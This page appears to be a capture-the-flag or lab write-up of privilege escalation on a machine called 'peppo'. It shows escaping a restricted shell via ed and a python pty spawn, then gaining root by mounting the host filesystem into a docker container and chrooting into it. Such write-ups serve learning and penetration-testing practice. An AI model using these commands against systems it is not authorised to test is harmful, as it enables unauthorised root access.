> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/peppo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/peppo/priv-escalation.md).

# Priv Escalation

### Breaking out of RSHELL

I first tried to use the following articles. 

{% embed url="<https://oscpnotes.infosecsanyam.in/My_OSCP_Preparation_Notes--Enumeration--SSH--rbash_shell_esacping.html>" %}

This one didn't work.&#x20;

{% embed url="<https://www.metahackers.pro/breakout-of-restricted-shell/>" %}

This one also didn't work however after seeing my $PATH, I was able to see the commands I was able to run.&#x20;

![](/files/MzF26Bb2bUFoXAkSPuVb)

After seeing the commands the current shell was able to run I went to gtfobins.

{% embed url="<https://gtfobins.github.io/gtfobins/ed/>" %}

The ed binary allows us to escape a restricted shell.&#x20;

We then run the following command to export a new $PATH.

```
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
python -c 'import pty; pty.spawn("/bin/bash")'
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
```

![](/files/wbO89oCKqaN8BupiqAJi)

### Enumerate images

![](/files/fGj51zpb5QKs58NgZHaO)

{% embed url="<https://gtfobins.github.io/gtfobins/docker/>" %}

Based on the images run the following command:

```
docker run -v /:/mnt --rm -it redmine chroot /mnt sh
```

```
eleanor@peppo:/tmp$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh
# whoami
root
```